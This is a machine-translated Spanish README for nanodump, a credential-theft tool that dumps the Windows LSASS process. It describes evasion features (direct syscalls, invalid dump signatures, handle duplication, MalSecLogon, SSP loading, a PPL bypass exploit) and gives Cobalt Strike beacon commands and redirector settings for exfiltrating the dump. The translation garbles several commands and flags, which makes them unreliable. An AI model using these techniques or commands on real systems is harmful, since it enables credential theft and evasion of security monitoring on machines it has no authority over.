nanovolcadouna herramienta flexible que crea un minivolcado del proceso LSASS.
Tabla de Contenidos
Características
- Utiliza llamadas al sistema (con SysWhispers2) para la mayoría de las operaciones.
- Las llamadas al sistema se llaman desde un ntdll address para omitir algunas detecciones de llamadas al sistema.
- Establece el enlace de devolución de llamada syscall en NULL.
- Las API de Windows se llaman mediante invocación dinámica.
- Puede optar por descargar el volcado sin tocar el disco o escribirlo en un archivo.
- El minivolcado de forma predeterminada tiene una firma no válida para evitar la detección.
- Reduce el tamaño del volcado al ignorar las DLL irrelevantes. El volcado (nano) tiende a tener un tamaño de alrededor de 10 MiB.
- No necesita proporcionar el PID de LSASS.
- Sin llamadas a dbgayuda o cualquier otra biblioteca, toda la lógica de volcado se implementa en nanodump.
- Soporta bifurcación de procesos.
- Soporta instantáneas.
- Admite la duplicación de manijas.
- Soporta MalSecLogon.
- Soporta la explotación de la zona de usuario de PPL.
- Puede cargar nanodump en LSASS como proveedor de soporte de seguridad (SSP).
- Puede usar la versión .exe para ejecutar nanovolcado fuera de Cobalt Strike 😄.
Uso
Clon
clon de git https://github.com/helpsystems/nanodump.git
Compilar (opcional)
En Linux con MinGW
En Windows con MSVC (Sin soporte BOF)
nmake -f Makefile.msvc
Importar
Importar el NanoDump.cna
guión de Cobalt Strike.
Correr
ejecutar el nanodump
Comando en la consola Beacon.
baliza> nanovolcado
Restaurar la firma
Una vez que haya descargado el minivolcado, restaure la firma no válida
scripts/restaurar_firma
bifurcación del proceso
Para evitar abrir un identificador a LSASS con PROCESS_VM_READ
puedes usar el --fork
parámetro.
Esto hará que nanodump cree un identificador para LSASS con PROCESS_CREATE_PROCESS
acceda y luego cree un ‘clon’ del proceso. Este nuevo proceso será luego volcado. Si bien esto dará como resultado la creación y eliminación de un proceso, elimina la necesidad de leer LSASS directamente.
Instantánea
De manera similar a la --fork
opción, puede usar --snapshot
para crear una instantánea del proceso LSASS.
Esto hará que nanodump cree un identificador para LSASS con PROCESS_CREATE_PROCESS
acceder y luego crear una instantánea del proceso usando PssNtCaptureSnapshot
. Este nuevo proceso será luego volcado. La instantánea se liberará automáticamente al finalizar.
Manejar la duplicación
Como se puede detectar la apertura de un controlador para LSASS, nanodump puede buscar controladores existentes para LSASS.
Si encuentra uno, lo copiará y lo usará para crear el minivolcado.
Tenga en cuenta que no se garantiza encontrar dicho identificador.
MalSecLogon
Para evitar abrir un identificador en LSASS, puede usar MalSecLogon, que es una técnica que (ab)usa CreateProcessWithLogonW
para filtrar un identificador LSASS.
Para habilitar esta característica, utilice el --malseclogon
parámetro.
Tenga en cuenta que se debe escribir en el disco un binario de nanodump sin firmar para usar esta función.
MalSecLogon y manejar la duplicación
Como se dijo antes, el uso de MalSecLogon requiere que se escriba un binario nanodump en el disco.
Esto se puede evitar si --malseclogon
y --dup
se utilizan junto con --binary
.
El truco consiste en filtrar un identificador para LSASS usando MalSecLogon, pero en lugar de filtrarlo en nanodump.exe, filtrarlo en otro binario y luego duplicar el identificador filtrado para que nanodump pueda usarlo.
Cargar nanodump como un SSP
Puede cargar nanodump como un SSP en LSASS para evitar abrir un identificador. El volcado se escribirá en el disco con una firma no válida en C:\Windows\Temp\report.docx
por defecto. Una vez que se completa el volcado, DllMain
devolverá FALSO para que LSASS descargue la DLL de nanodump.
Para cambiar la ruta de volcado y la configuración de la firma, modifique la función NanoDump
en entry.c y vuelva a compilar.
Cargue y cargue una DLL de nanodump
Si se usa sin parámetros, se cargará una DLL de nanodump sin firmar en la carpeta Temp. Una vez que se haya creado el volcado, elimine manualmente la DLL con el delete_file
dominio.
beacon> cargar_ssp
baliza> eliminar_archivo C:\Windows\Temp[RANDOM].dll
derivación PPL
Si LSASS se está ejecutando como Protected Process Light (PPL), puede intentar omitirlo utilizando un exploit de usuario descubierto por Project Zero. Si tiene éxito, el volcado se escribirá en el disco.
Para acceder a esta función, utilice el nanodump_ppl
dominio
baliza> nanodump_ppl -v -w C:\Windows\Temp\lsass.dmp
Parámetros
–getpid
Obtenga el PID de LSASS y váyase.
Esto es solo por conveniencia, nanodump no necesita el PID de LSASS.
–escribir -w < path > (requerido para EXE)
Dónde escribir el archivo de volcado.
- BOF: si no se proporciona este parámetro, el volcado se descargará sin archivos.
- EXE: Este parámetro es obligatorio dado que no existe ningún canal C2
–válido -v
El minivolcado tendrá una firma válida.
Si no se ingresa, la firma no será válida. Antes de analizar el volcado restaurar la firma del volcado, con:scripts/restore_signature
–horquilla -f
Bifurque LSASS y descargue este nuevo proceso.
–instantánea -s
Cree una instantánea de LSASS y descargue este nuevo proceso.
–dup -d
Intente encontrar un identificador existente para LSASS y duplíquelo.
–malseclogon -m
Filtrar un identificador a LSASS usando MalSecLogon.
Si se usa como BOF, se escribirá un binario sin firmar en el disco a menos que también se proporcione -dup.
–binario -b < path >
Ruta a un binario como C:\Windows\notepad.exe
.
Esta opción se utiliza exclusivamente con --malseclogon
y --dup
.
Ejemplos
Lea LSASS indirectamente creando una bifurcación y escriba el volcado en el disco con una firma no válida:
baliza> nanodump –fork –escribir C:\lsass.dmp
Use MalSecLogon para filtrar un identificador de LSASS en un proceso de bloc de notas, duplique ese identificador para obtener acceso a LSASS, luego léalo indirectamente creando una bifurcación y descargue el volcado con una firma válida:
baliza> nanodump –malseclogon –dup –fork –binary C:\Windows\notepad.exe –valid
Maneja MalSecLogon, lee LSASS indirectamente usando una bifurcación y escribe el volcado en el disco con una firma válida (¡se cargará un binario nanodump!):
baliza> nanodump –malseclogon –fork –válido –escribir C:\Windows\Temp\lsass.dmp
Redirectores HTTPS
Si está utilizando un redirector de HTTPS (como debería), es posible que tenga problemas al descargar el archivo de volcado debido al tamaño de las solicitudes que filtran el volcado.
Aumente el tamaño máximo de las solicitudes en su servidor web para permitir que nanodump descargue el volcado.
NGINX
ubicación ~ ^…$ {
…
client_max_body_size 50M;
}
Apache2
LímiteSolicitudCuerpo 52428800